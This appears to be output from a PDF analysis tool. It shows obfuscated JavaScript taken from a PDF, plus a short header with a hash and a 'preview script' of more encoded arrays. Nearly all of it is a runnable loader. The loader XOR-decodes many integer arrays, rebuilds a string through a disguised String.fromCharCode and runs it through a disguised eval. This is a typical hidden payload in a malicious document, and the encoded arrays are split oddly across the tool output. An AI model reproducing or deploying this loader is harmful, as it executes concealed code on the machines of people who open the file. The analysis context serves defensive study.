cLnFyNu77lk0K1Q=[97,50,109,1,9,50,60,42,117,50,18,41,20,9,100,107,112,112,112,112,38,49,34,112,26,33,31,99,59,104,109,1,9,50,60,42,125,10,100,38,25,49,61,97,50,107,112,112,112,112,38,49,34,112,34,98,39,42,97,36,50,101,42,105,54,109,26,33,31,99,59,104,127,50,18,41,20,9,100,107,112,112,112,112,38,49,34,112,41,100,100,103,26,0,0,52,96,109,34,98,39,42,97,36,50,101,42,105,54,122,29,7,104,101,36,37,51,6,98,2,53,1,99,11,53,27,96,51,101,61,41,35,13,107,112,112,112,112,62,102,38,38,4,18,32,101,32,109,96,107,112,112,112,112,54,63,34,112,120,35,102,98,7,51,109,96,107,112,35,102,98,7,51,108,34,98,39,42,97,36,50,101,42,105,54,107,112,35,102,98,7,51,123,123,121,112,112,112,112,112,43,112,112,112,112,112,112,112,112,54,63,34,112,120,7,98,49,52,19,97,62,97,58,25,24,109,96,107,112,7,98,49,52,19,97,62,97,58,25,24,108,29,7,104,101,36,37,51,6,98,2,53,1,99,11,53,27,96,51,101,61,41,35,13,107,112,7,98,49,52,19,97,62,97,58,25,24,123,123,121,112,112,112,112,112,112,112,112,112,43,112,112,112,112,112,112,40,97,103]; iJl545rdUlr0wZ=[108,8,119,92,2,81,9,73,73,107,125,79,10,79,20,104,13,94,91,124,14,81,14,85,118,119,4,31,31,31,31,31,31,31,31,31,31,31,31,74,122,119,121,103,7,92,92,106,6,122,85,2,103,116,7,110,9,119,114,92,8,100,71,14,8,108,8,119,92,98,4,31,31,31,31,31,31,31,31,31,31,31,31,121,103,101,15,102,122,114,104,2,71,14,8,108,8,119,92,20,114,104,7,10,75,74,92,105,13,109,90,110,12,100,90,116,15,92,10,82,70,76,98,4,31,31,31,31,31,31,31,31,31,31,31,31,103,116,7,110,9,119,114,92,8,100,71,14,8,108,8,119,92,98,2,103,116,7,110,9,119,114,92,8,100,121,103,101,15,102,122,114,104,98,4,31,31,31,31,31,31,31,31,31,31,31,31,103,116,7,110,9,119,114,92,8,100,121,103,101,15,102,122,114,104,98,2,74,122,119,121,103,7,92,92,106,6,122,85,4,31,31,31,31,31,31,31,31,31,31,66,31,31,31,31,31,31,31,31,81,9,73,73,107,125,79,10,79,31,20,2,93,125,70,123,102,11,4,31,31,31,31,31,31,31,31,31,66,31,31,66,31,31,116,87,13,102,82,93,6,10,10,2,103,116,7,110,9,119,114,92,8,17,85,80,86,81,23,29]; K6LpC=[22,29,15,81,66,85,88,28,127,92,6,109,89,86,13,1,1,29,15];  fQYSxoI=[]; 
for (u0Y2j5jzm=0;u0Y2j5jzm<W7j9mZH1Y.length;u0Y2j5jzm++){W7j9mZH1Y[u0Y2j5jzm]=W7j9mZH1Y[u0Y2j5jzm]^64;}; fQYSxoI=fQYSxoI.concat(W7j9mZH1Y);for (Wz9zHADG=0;Wz9zHADG<oH0Lb250sw41BF.length;Wz9zHADG++){oH0Lb250sw41BF[Wz9zHADG]=oH0Lb250sw41BF[Wz9zHADG]^32;}; fQYSxoI=fQYSxoI.concat(oH0Lb250sw41BF);for (LHSk=0;LHSk<TKcaq8i.length;LHSk++){TKcaq8i[LHSk]=TKcaq8i[LHSk]^39;}; fQYSxoI=fQYSxoI.concat(TKcaq8i);for (iINXv6C1=0;iINXv6C1<Xgnps96R4.length;iINXv6C1++){Xgnps96R4[iINXv6C1]=Xgnps96R4[iINXv6C1]^67;}; fQYSxoI=fQYSxoI.concat(Xgnps96R4);for (I89Vv=0;I89Vv<IcZudH3g25Sq1.length;I89Vv++){IcZudH3g25Sq1[I89Vv]=IcZudH3g25Sq1[I89Vv]^36;}; fQYSxoI=fQYSxoI.concat(IcZudH3g25Sq1);for (Cbvr0=0;Cbvr0<E48uJL.length;Cbvr0++){E48uJL[Cbvr0]=E48uJL[Cbvr0]^40;}; fQYSxoI=fQYSxoI.concat(E48uJL);for (q49GXA3=0;q49GXA3<crFJ6632b9.length;q49GXA3++){crFJ6632b9[q49GXA3]=crFJ6632b9[q49GXA3]^55;}; fQYSxoI=fQYSxoI.concat(crFJ6632b9);for (A2LNWA75j=0;A2LNWA75j<d8jSJY3BVYj887.length;A2LNWA75j++){d8jSJY3BVYj887[A2LNWA75j]=d8jSJY3BVYj887[A2LNWA75j]^87;}; fQYSxoI=fQYSxoI.concat(d8jSJY3BVYj887);for (EoQy4efpsY=0;EoQy4efpsY<UDmb7Sn56sYd.length;EoQy4efpsY++){UDmb7Sn56sYd[EoQy4efpsY]=UDmb7Sn56sYd[EoQy4efpsY]^74;}; fQYSxoI=fQYSxoI.concat(UDmb7Sn56sYd);for (kQ4XiC1=0;kQ4XiC1<cuk538UWN.length;kQ4XiC1++){cuk538UWN[kQ4XiC1]=cuk538UWN[kQ4XiC1]^81;}; fQYSxoI=fQYSxoI.concat(cuk538UWN);for (S542J0Nh4=0;S542J0Nh4<JQN17aluZs37s.length;S542J0Nh4++){JQN17aluZs37s[S542J0Nh4]=JQN17aluZs37s[S542J0Nh4]^73;}; fQYSxoI=fQYSxoI.concat(JQN17aluZs37s);for (z4Vf216wIB=0;z4Vf216wIB<e1LtQzQrDBtAuj.length;z4Vf216wIB++){e1LtQzQrDBtAuj[z4Vf216wIB]=e1LtQzQrDBtAuj[z4Vf216wIB]^12;}; fQYSxoI=fQYSxoI.concat(e1LtQzQrDBtAuj);for (AoO2vEOV=0;AoO2vEOV<mwbkZHRy.length;AoO2vEOV++){mwbkZHRy[AoO2vEOV]=mwbkZHRy[AoO2vEOV]^85;}; fQYSxoI=fQYSxoI.concat(mwbkZHRy);for (MCT2CUL8D=0;MCT2CUL8D<k8j75NNAEpjth.length;MCT2CUL8D++){k8j75NNAEpjth[MCT2CUL8D]=k8j75NNAEpjth[MCT2CUL8D]^79;}; fQYSxoI=fQYSxoI.concat(k8j75NNAEpjth);for (X6CC9Bf=0;X6CC9Bf<P5U6sz8HDeb.length;X6CC9Bf++){P5U6sz8HDeb[X6CC9Bf]=P5U6sz8HDeb[X6CC9Bf]^42;}; fQYSxoI=fQYSxoI.concat(P5U6sz8HDeb);for (d0D4q=0;d0D4q<O7B73TSZF9BMeP9.length;d0D4q++){O7B73TSZF9BMeP9[d0D4q]=O7B73TSZF9BMeP9[d0D4q]^66;}; fQYSxoI=fQYSxoI.concat(O7B73TSZF9BMeP9);for (ve37c4=0;ve37c4<Wj3bcD.length;ve37c4++){Wj3bcD[ve37c4]=Wj3bcD[ve37c4]^37;}; fQYSxoI=fQYSxoI.concat(Wj3bcD);for (ORD9=0;ORD9<aVGPiFN.length;ORD9++){aVGPiFN[ORD9]=aVGPiFN[ORD9]^38;}; fQYSxoI=fQYSxoI.concat(aVGPiFN);for (ZrwJ8=0;ZrwJ8<JY5EhYno2zfy.length;ZrwJ8++){JY5EhYno2zfy[ZrwJ8]=JY5EhYno2zfy[ZrwJ8]^43;}; fQYSxoI=fQYSxoI.concat(JY5EhYno2zfy);for (KSbOPGG=0;KSbOPGG<z7G14EMaZq7.length;KSbOPGG++){z7G14EMaZq7[KSbOPGG]=z7G14EMaZq7[KSbOPGG]^47;}; fQYSxoI=fQYSxoI.concat(z7G14EMaZq7);for (OJpDhd=0;OJpDhd<EW47NPfwt8Y1o.length;OJpDhd++){EW47NPfwt8Y1o[OJpDhd]=EW47NPfwt8Y1o[OJpDhd]^31;}; fQYSxoI=fQYSxoI.concat(EW47NPfwt8Y1o);for (isY1=0;isY1<lW1d4k.length;isY1++){lW1d4k[isY1]=lW1d4k[isY1]^96;}; fQYSxoI=fQYSxoI.concat(lW1d4k);for (pB5CFp5=0;pB5CFp5<q0q5w.length;pB5CFp5++){q0q5w[pB5CFp5]=q0q5w[pB5CFp5]^47;}; fQYSxoI=fQYSxoI.concat(q0q5w);for (eyZR2ncf=0;eyZR2ncf<cLnFyNu77lk0K1Q.length;eyZR2ncf++){cLnFyNu77lk0K1Q[eyZR2ncf]=cLnFyNu77lk0K1Q[eyZR2ncf]^80;}; fQYSxoI=fQYSxoI.concat(cLnFyNu77lk0K1Q);for (N3bcji4d=0;N3bcji4d<iJl545rdUlr0wZ.length;N3bcji4d++){iJl545rdUlr0wZ[N3bcji4d]=iJl545rdUlr0wZ[N3bcji4d]^63;}; fQYSxoI=fQYSxoI.concat(iJl545rdUlr0wZ);for (Qv0JRt=0;Qv0JRt<K6LpC.length;Qv0JRt++){K6LpC[Qv0JRt]=K6LpC[Qv0JRt]^52;}; fQYSxoI=fQYSxoI.concat(K6LpC);
 DYSU=function(JEyU0){
	b1x9=["e","m","v","n","a","d","x","l"];
	zX2ySdt3=b1x9[0]+b1x9[2]+b1x9[4]+b1x9[7];
	rorar=this;
	nakCg0i20 =rorar[zX2ySdt3];
	nakCg0i20(JEyU0);
}
UR4z=function(OUnij53){
	weFMy21I="";
	J9wWXhL7A=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	aFz46=J9wWXhL7A[2]+J9wWXhL7A[3]+J9wWXhL7A[4]+J9wWXhL7A[7];
	for (GSrLX8Q68=0;GSrLX8Q68<OUnij53.length;GSrLX8Q68++){
	    lolz=String;
		weFMy21I += lolz[aFz46](OUnij53[GSrLX8Q68]);
	}
	
	return weFMy21I;	
}
DYSU(UR4z(fQYSxoI));
deobfuscated.js deobfuscated-js PDF JavaScript deobfuscation pass 69562 bytes
SHA-256: ffd0fbae86b2c4d5fe2398a61a4ed8490b02c99c3ba8d6ca89078b008d23d255
Preview script
First 1,000 lines of the extracted script
W7j9mZH1Y=[96,54,33,50,96,11,40,114,25,45,34,121,117,117,125,98,38,96,52,38,47,96,96,41,96,41,41,96,46,35,50,105,96,46,46,53,57,104,44,33,40,37,44,41,31,56,44,37,39,46,59,37,48,50,40,123,52,55,46,105,104,108,33,57,33,50,114,106,51,124,107,48,48,51,110,48,59,50,61,33,51,51,53,51,37,44,50,52,125,48,51,34,57,52,33,57,46,57,50,39,51,125,108,41,96,46,33,57,51,50,50,112,46,123,111,41,50,48,110,53,105,114,104,57,37,52,44,44,52,37,123,48,47,61,33,50,46,41,37,36,96,46,54,59,37,44,50,46,36,96,52,35,105,48,51,96,38,40,51,53,47,104,104,37,101,28,98,35,51,50,35,48,96,115,33,125,115,112,53,53,33,37,112,3,53,101,116,116,46,101,53,118,112,101,53,119,3,101,112,101,120,115,53,101,53,120,112,120,2,119,3,112,112,101,120,1,3,120,53,113,2,101,4,112,53,116,53,116,112,120,2,101,2,117,53,5,121,115,2,101,2,101,53,112,53,116,120,101,112,120,3,117,53,117,120,119,4,101,2,120,1,101,53,120,116,5,53,116,114,115,1,101,53,5,53,118,53,4,6,101,113,120,53,114,2,101,116,101,3,101,2,120,114,117,118,101,118,116,3]; oH0Lb250sw41BF=[21,85,24,97,101,98,23,85,24,19,5,19,21,20,101,85,21,85,5,98,5,85,16,25,21,85,21,18,5,97,5,24,23,19,5,20,5,99,101,85,19,23,23,21,16,85,16,85,24,85,19,19,5,85,5,85,102,98,5,16,5,98,5,19,18,19,99,22,5,102,23,85,5,85,24,19,21,85,21,17,16,101,5,25,97,16,20,85,20,22,5,102,98,85,19,85,19,19,102,25,5,19,16,85,102,22,19,19,5,20,5,85,19,85,23,100,5,20,20,85,16,85,102,24,16,18,99,17,17,102,5,85,99,24,5,85,102,16,16,19,5,85,23,102,5,85,101,101,101,98,102,24,21,24,5,97,5,100,19,85,22,98,5,19,5,85,21,85,99,21,18,19,5,21,17,85,20,99,101,20,5,22,5,98,20,85,24,98,5,24,16,22,24,85,24,22,24,99,5,97,21,20,5,85,5,98,16,85,24,98,16,19,16,85,16,85,100,85,99,19,5,85,5,85,99,100,5,19,5,19,5,19,19,102,21,101,5,98,24,85,21,85,21,16,21,85,102,85,97,102,5,23,99,24,5,85,16,85,5,18,5,98,98,19,101,85,23,24,5,100,102,102,21,24,5,97,19,102,21,85,24,18,24,97,102,85,18,85,98,85,99,23,5,16,97,85,102,101,5]; TKcaq8i=[18,2,21,2,82,17,98,97,31,2,21,17,31,2,82,19,23,16,82,30,101,98,31,2,97,102,31,17,82,17,17,2,23,2,82,101,82,31,17,17,102,2,18,18,82,21,23,102,101,2,31,2,100,17,82,101,97,2,98,17,31,17,82,17,19,17,98,16,31,17,18,2,82,2,99,30,82,17,82,16,100,2,82,18,98,2,82,18,19,31,82,2,98,19,19,2,18,2,21,23,82,18,98,2,100,2,82,23,82,97,82,98,97,2,20,100,82,20,21,2,20,2,23,2,18,18,82,18,17,2,21,18,23,23,82,30,23,18,101,31,20,31,19,2,20,100,22,100,82,31,23,16,17,18,82,20,82,97,82,18,23,2,82,20,82,16,97,2,23,2,97,2,82,18,19,101,21,2,31,101,82,21,82,22,97,23,82,2,101,31,98,2,102,18,97,2,82,18,31,2,102,2,31,97,16,97,82,30,98,2,18,97,18,101,97,18,17,23,98,20,31,18,20,2,19,23,82,98,82,97,82,18,97,2,16,98,82,100,23,2,18,2,23,2,82,18,82,17,97,2,31,23,19,2,82,17,19,16,82,2,19,20,99,2,82,16,102,16,82,21,23,2,97,2,82,17,82,21,82,17,102,2,22,16,82,17,21,2,97,2,22,2,21,17,82,17,17,16,18]; Xgnps96R4=[116,114,118,112,117,119,117,114,113,54,116,118,102,113,119,119,116,54,113,54,113,5,102,54,117,117,117,54,112,6,117,54,102,119,117,119,102,114,102,5,116,54,116,115,112,117,102,54,117,54,117,54,117,5,102,6,102,54,117,117,102,0,102,5,102,123,113,0,112,5,31,97,115,112,112,116,54,117,115,116,115,118,113,34,53,102,119,112,112,116,54,112,115,102,49,117,54,112,54,115,33,112,115,102,7,120,54,45,54,48,38,99,40,102,106,99,54,38,115,99,107,106,31,97,47,126,32,51,34,32,31,97,115,32,44,32,102,32,115,32,99,53,120,17,115,51,34,54,102,34,16,34,7,54,36,34,57,13,16,49,34,126,37,54,0,5,115,115,99,107,32,4,15,115,32,12,58,25,99,115,32,102,31,97,102,54,115,54,54,38,38,45,102,32,115,54,115,32,115,32,32,48,115,32,115,54,102,32,115,32,102,54,115,32,102,32,102,32,115,32,119,123,115,32,102,118,119,54,102,114,102,54,115,54,115,54,118,54,117,32,102,54,116,54,117,38,102,34,102,37,102,54,116,39,102,122,119,54,102,112,115,32,119,123,117,54,119,113,119,38,118,33,102,119,119,54,116,54,102,114,119,54,118,54,119,33,119,114,102,54,119,122,118,113,118,114,102,119,117]; IcZudH3g25Sq1=[29,17,64,1,18,18,81,16,81,19,81,1,69,1,29,18,81,19,29,19,23,1,66,18,22,1,65,1,23,18,81,1,81,18,69,16,70,16,81,17,21,18,69,16,16,1,65,16,81,17,18,1,21,1,64,17,81,18,22,16,23,1,81,16,81,18,19,17,71,19,23,16,20,19,81,1,23,17,22,1,81,16,17,1,64,1,21,31,19,76,22,17,83,1,75,19,81,72,13,120,6,65,17,81,17,81,19,18,18,20,22,4,76,19,72,70,13,77,4,25,12,79,72,72,71,75,71,23,70,79,10,80,65,72,12,15,31,79,75,28,72,70,67,74,79,71,25,20,71,70,25,70,86,80,24,4,87,75,71,75,74,77,81,72,72,70,64,67,72,23,8,87,18,75,10,65,10,79,4,28,93,19,65,65,76,75,71,9,4,86,76,87,22,72,77,24,20,25,75,73,86,65,86,13,65,4,77,31,75,73,74,25,13,12,67,74,83,80,20,92,66,31,93,86,15,20,31,12,101,73,65,69,95,4,15,4,70,4,31,73,13,77,93,20,22,127,65,76,20,15,25,86,87,4,77,72,72,121,84,71,65,10,75,120,6,72,72,77,77,113,71,79,71,80,74,89,31,75,81,83,76,124,69,12,64,84,86,112,78,80,64,94,108,126,71,86,72,81,8]; E48uJL=[88,112,79,120,68,82,111,108,106,107,77,70,78,123,67,69,76,6,116,10,107,103,102,19,1,70,97,1,74,8,95,8,93,77,65,88,92,101,0,92,90,0,76,92,94,80,89,73,108,65,102,113,70,78,123,112,114,121,102,123,116,10,92,71,120,97,8,0,68,108,99,69,77,65,77,70,66,111,77,102,65,76,69,78,116,10,70,67,98,102,111,1,1,73,4,99,92,92,83,71,65,79,99,19,70,6,91,8,70,93,68,8,69,65,95,6,81,68,68,19,1,90,92,120,73,93,75,77,64,75,95,90,88,73,85,77,81,8,85,73,8,102,81,0,90,1,68,83,64,73,65,122,78,77,92,65,92,111,123,73,108,6,92,73,82,73,123,70,92,8,85,0,79,110,77,114,70,93,107,8,0,70,93,103,108,76,4,1,100,19,1,68,65,71,65,77,0,92,95,65,75,78,70,8,90,92,70,92,93,88,119,73,94,73,76,68,78,83,81,0,77,21,1,24,88,77,27,73,71,8,90,73,75,106,88,93,16,93,16,70,93,24,107,107,24,27,30,93,27,16,16,91,13,106,13,28,13,93,13,108,24,93,13,24,28,93,13,116,10,0,24,28,93,13,106,31,107,13,106,109,93,13,24,31,16,24,93,13,107,28,106,16,106,105,24,13,93,25,108]; crFJ6632b9=[15,117,15,15,2,66,18,15,15,118,3,66,18,7,7,14,2,116,0,66,18,66,114,113,3,66,18,116,115,66,18,66,1,66,18,66,18,5,114,66,18,3,4,6,18,5,2,3,3,117,4,117,2,66,18,118,2,117,5,66,18,14,15,118,114,116,114,4,15,66,114,5,7,117,15,118,15,66,18,1,2,3,2,66,18,4,2,66,0,0,4,66,18,4,18,4,7,1,2,4,0,66,18,2,4,66,18,66,2,117,15,66,7,3,0,15,18,4,0,7,113,116,113,4,18,4,18,1,18,115,116,66,18,66,4,14,3,1,5,117,15,66,18,4,4,14,18,113,7,66,18,7,18,1,4,66,18,6,118,66,3,3,2,66,18,66,18,5,6,3,116,113,113,66,18,113,113,66,0,66,116,4,7,114,117,15,7,117,18,66,4,7,2,6,18,66,114,66,18,66,7,2,2,66,18,113,114,66,18,15,4,115,7,117,3,114,113,15,18,15,113,66,18,4,3,1,7,66,18,2,1,1,7,118,114,3,18,66,0,4,116,1,2,117,15,66,18,116,15,116,5,66,18,4,115,4,6,117,15,66,18,66,18,115,15,15,3,3,15,66,18,117,7,66,18,66,18,4,7,66,2,117,15,118,18,15,7,4,0,4,116,114,18,66,18,113,7,115,2]; d8jSJY3BVYj887=[34,114,34,114,101,98,103,20,100,98,34,98,22,111,101,22,21,98,96,114,111,114,22,18,34,114,100,20,34,100,111,21,34,114,34,114,96,17,21,114,103,111,34,114,17,20,34,17,34,22,17,17,17,17,101,100,98,114,111,97,18,97,101,17,34,114,34,114,18,21,21,22,34,114,34,96,97,111,111,101,17,99,34,97,103,21,21,114,111,110,34,114,34,114,22,97,34,114,97,22,111,97,98,97,34,114,34,114,103,98,103,97,20,97,34,114,98,97,18,18,34,114,20,97,111,110,99,97,111,114,34,96,99,103,111,101,18,21,34,114,17,96,98,110,34,114,18,111,34,103,99,97,101,99,103,98,21,111,34,114,20,18,34,114,18,98,100,114,34,114,17,114,34,20,19,98,18,114,34,17,103,98,100,111,98,98,100,114,103,114,97,100,34,114,100,111,103,98,99,98,34,114,34,114,103,103,101,114,102,98,34,114,17,96,34,98,34,114,101,20,34,100,101,20,34,114,99,103,17,98,111,21,22,114,34,114,97,100,34,98,34,100,34,101,100,17,17,17,98,102,34,98,111,21,17,114,111,110,21,114,34,114,97,98,34,114,96,98,98,98,103,96,34,17,34,114,18,17,22,114,96,111,34,114,17,103,17,18,34,114,103,17,18,103,99,97,111,114,99]; UDmb7Sn56sYd=[15,126,124,15,9,114,8,63,111,122,122,12,124,63,111,12,125,11,125,14,124,122,125,63,120,123,124,63,111,11,121,63,111,63,111,123,111,63,111,12,125,63,111,127,127,126,111,63,111,120,125,123,125,120,121,63,111,123,120,124,124,63,111,121,127,126,125,15,124,127,111,63,124,126,120,126,121,120,124,63,111,12,120,126,124,63,111,127,125,63,120,124,126,63,111,122,125,9,124,63,111,9,120,63,111,12,124,63,111,63,125,63,124,63,125,124,124,15,111,122,125,123,124,12,124,14,121,114,111,12,111,122,124,63,111,120,121,124,124,121,125,63,121,63,111,122,121,126,111,121,124,63,111,12,127,122,122,99,106,60,121,63,113,122,119,36,111,111,22,104,41,63,56,43,122,121,47,36,111,57,122,99,98,11,58,37,22,104,22,104,111,11,122,63,119,11,122,36,63,11,113,60,122,47,122,11,97,34,122,11,111,11,58,43,58,43,122,63,43,58,37,37,47,33,106,56,122,11,41,63,38,51,35,40,38,45,106,56,37,58,98,41,43,40,63,38,122,11,43,37,113,46,122,119,113,47,41,56,40,60,43,63,58,43,33,11,106,57,58,57,111,22,104,122,43,106,11,111,63,56,47,119,51,47,34,120,119,47,36,46,57,35,34,43,60,47,11,43,43]; cuk538UWN=[13,115,35,97,120,48,43,57,122,48,52,56,34,106,35,52,39,62,97,52,50,121,52,53,43,35,61,51,33,58,54,57,52,61,127,63,56,37,61,56,51,109,38,51,108,106,57,61,34,58,50,61,127,48,35,37,40,51,54,54,57,63,52,33,52,50,51,54,58,62,42,106,44,51,54,120,56,54,113,61,51,61,62,35,48,61,56,50,62,58,51,51,108,55,50,35,37,122,58,62,56,50,62,39,56,51,56,61,61,125,61,63,34,36,34,48,97,51,108,127,58,33,56,58,35,62,113,39,50,121,54,34,51,35,48,121,106,63,51,36,54,51,61,125,54,35,37,54,51,124,54,33,34,63,56,62,61,120,40,50,62,56,35,37,51,51,97,61,127,127,58,61,34,48,52,51,121,58,61,62,57,34,57,52,52,61,50,58,50,97,101,120,40,38,127,41,54,63,61,122,106,120,97,56,97,33,34,97,97,62,40,44,106,48,35,58,122,109,61,37,42,62,61,113,35,58,50,61,50,51,108,51,57,52,60,48,60,51,122,62,48,62,61,58,50,14,40,58,50,52,56,48,35,51,39,55,61,48,61,121,40,106,97,48,39,108,35,35,63,106,35,35,55,113,120,62,38,121,16,109,56,113,35,14,97,35,106,122,48,56,108,97,122,48,60,52,40,101,96]; JQN17aluZs37s=[116,32,50,96,52,36,34,59,40,114,20,32,40,59,38,37,18,37,112,39,112,112,43,42,105,112,38,44,34,42,113,120,112,112,60,63,112,112,33,98,116,36,112,113,112,113,123,112,113,113,43,57,113,112,112,112,113,113,113,113,112,112,113,113,113,113,113,113,113,113,113,113,112,112,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113]; e1LtQzQrDBtAuj=[52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,126,52,52,52,52,52,80,46,36,52,124,52,52,52,52,98,96,55,37,52,52,101,120,34,55,52,41,106,113,109,97,98,101,60,121,80,46,106,106,52,120,111,105,101,56,57,99,119,121,32,98,120,99,96,97,121,110,60,126,109,44,83,60,111,96,98,37,36,105,104,105,100,96,101,99,109,105,44,122,127,96,98,111,96,127,111,121,49,41,80,46,63,78,41,109,36,63,124,121,58,105,41,60,41,121,52,121,79,121,56,60,41,60,52,121,59,78,41,56,41,52,41,60,56,121,52,79,52,78,63,60,60,52,52,79,60,78,52,121,77,78,41,72,73,53,60,121,61,121,57,72,41,121,60,60,57,121,59,79,56,121,41,56,52,52,41,78,41,52,58,121,73,77,63,78,41,121,73,121,59,121,56,79,41,79,41,121,56,74,41,60,41,61,41,56,63,62,57,77,41,58,72,62,73,121,73,79,62,78,57,62,57,56,41,78,52,77,57,121,57,77,41,57,56,121,73,121,52,121,52,53,41,78,60,121,52,63,41,78,41,58,41,121,59,121,63,63,41,79,57,121,57,121,57,78,52,121,41,56,59,59,41,121,59,52,41,121,74,58,41,63,41,60,60,121,41,121,52,58,63,78,74]; mwbkZHRy=[102,103,102,112,102,22,101,101,32,102,102,112,108,102,32,98,32,102,99,97,102,112,108,19,32,20,102,101,17,112,19,112,32,97,32,100,103,112,97,23,102,22,32,96,100,101,16,112,109,19,19,112,32,102,19,101,32,22,102,98,109,112,32,16,32,101,32,101,23,112,17,16,32,19,23,112,100,112,97,112,20,97,101,22,23,112,102,102,19,109,32,16,16,96,109,101,32,109,22,112,96,103,102,97,32,98,32,112,23,112,32,101,99,99,32,19,96,112,109,112,102,96,22,112,99,112,109,96,32,100,99,101,97,17,32,96,32,109,32,97,102,112,32,112,32,109,23,112,102,112,20,112,23,22,19,22,102,112,109,101,32,112,32,109,101,101,32,98,109,22,20,112,102,96,17,109,32,101,97,112,20,109,32,96,32,102,109,96,17,112,16,16,32,23,102,20,103,112,23,112,32,96,32,19,98,112,19,20,32,19,32,19,19,19,19,22,103,96,101,112,32,102,103,112,32,19,16,109,98,112,32,98,109,112,32,97,99,23,19,99,96,99,96,112,103,112,23,103,32,109,16,112,22,112,32,99,32,99,109,20,101,112,23,99,32,96,16,20,23,112,19,112,109,99,32,98,101,112,101,108,20,99,32,108,99,16,109,112,103,99,96,112,32,112,109,23,32,99,109]; k8j75NNAEpjth=[125,123,121,58,120,58,121,58,123,12,106,58,106,58,121,10,106,10,106,10,106,11,122,123,122,119,106,127,127,58,119,58,13,10,122,58,119,58,122,13,106,122,124,124,106,58,9,58,106,121,106,9,118,127,122,58,10,9,106,12,127,123,122,127,106,127,119,122,127,58,12,123,120,124,119,58,124,58,122,58,12,124,106,125,124,58,122,126,106,119,106,124,106,58,13,121,12,127,106,125,127,9,106,58,122,124,125,58,122,127,122,119,106,125,120,122,9,58,126,9,106,121,106,58,124,58,122,123,9,120,106,14,118,58,9,119,122,13,106,123,106,9,9,58,121,14,106,9,122,10,10,58,127,122,119,10,122,127,127,120,106,58,106,10,13,58,12,58,13,9,106,58,10,9,106,58,120,127,9,58,106,122,122,127,106,123,106,119,127,58,120,123,106,119,106,58,120,58,120,58,121,123,106,14,121,58,125,126,106,9,106,126,106,125,125,58,125,126,106,9,121,14,121,58,124,9,121,123,125,10,121,126,106,121,120,122,121,58,120,11,124,123,122,58,120,58,125,58,120,124,106,58,121,58,124,9,106,123,106,125,106,58,120,9,123,125,106,121,120,58,121,58,121,121,121,58,106,126,120,12,106,122,121,10,106,58,121,127,106,127,106,9,125,127,120,58,124,124,106]; P5U6sz8HDeb=[105,25,26,31,110,28,18,28,26,28,108,29,30,15,30,28,95,25,95,26,95,28,24,15,28,25,95,25,25,10,88,118,8,26,15,95,75,95,117,26,15,75,17,71,88,3,25,92,79,71,79,68,88,3,75,88,23,88,75,88,17,83,26,107,26,73,2,83,10,93,73,73,75,23,17,88,26,92,75,92,75,73,26,26,26,88,69,78,26,78,10,73,10,89,10,73,78,75,70,79,17,26,88,92,89,23,26,82,26,23,73,79,79,70,68,73,10,88,30,82,70,26,94,77,79,70,79,68,70,117,78,4,26,78,68,66,2,75,92,17,0,66,17,24,3,7,95,1,70,89,23,92,75,18,68,79,88,75,118,8,95,17,3,25,82,88,79,73,89,88,10,15,118,8,89,88,90,75,15,26,73,89,2,117,19,90,79,68,19,75,19,76,90,26,83,23,75,26,88,75,90,89,94,67,19,83,83,26,68,95,23,3,73,73,67,2,117,79,70,6,17,73,24,82,2,92,10,23,69,26,26,7,17,94,69,73,68,95,3,76,26,26,75,26,2,88,78,92,30,82,69,88,75,5,69,88,69,95,68,95,26,88,68,94,10,78,75,73,88,69,22,94,94,73,73,17,68,95,23,94,79,88,117,71,95,71,83,23,17,26,81,68,113,83,24,75,1,75,75]; O7B73TSZF9BMeP9=[105,49,107,48,42,44,55,46,105,35,39,45,33,39,36,52,46,98,52,39,45,50,49,31,54,63,121,114,38,42,33,33,43,48,48,114,55,106,39,46,45,106,55,52,45,103,30,96,114,33,45,33,55,127,103,39,46,35,114,33,121,107,39,44,53,49,48,112,54,37,30,96,42,126,108,50,39,44,53,119,33,118,118,39,52,46,36,53,123,45,57,107,39,39,45,45,46,46,127,36,48,36,48,45,53,46,45,45,46,43,35,105,63,45,53,54,17,54,33,46,46,45,45,108,49,32,52,47,7,39,35,121,39,32,46,54,33,48,42,43,45,33,108,49,1,36,44,46,46,127,35,30,96,46,47,110,121,107,36,48,106,30,96,120,57,37,52,11,120,32,49,45,55,39,40,36,63,45,46,32,33,37,43,98,29,45,106,54,44,54,35,46,43,44,55,63,53,45,33,46,46,45,108,108,46,44,45,32,39,108,33,33,57,48,39,35,48,107,1,37,127,43,50,106,36,52,45,98,48,54,35,57,107,50,35,33,11,44,52,59,106,44,35,52,121,45,38,107,52,3,98,48,35,59,50,53,39,30,96,98,35,39,50,35,59,106,55,103,48,48,127,35,114,42,118,33,55,103,39,55,44,113,49,39,54,1,0,115,1,114,55,103,122,103,55,122,114,114,55]; 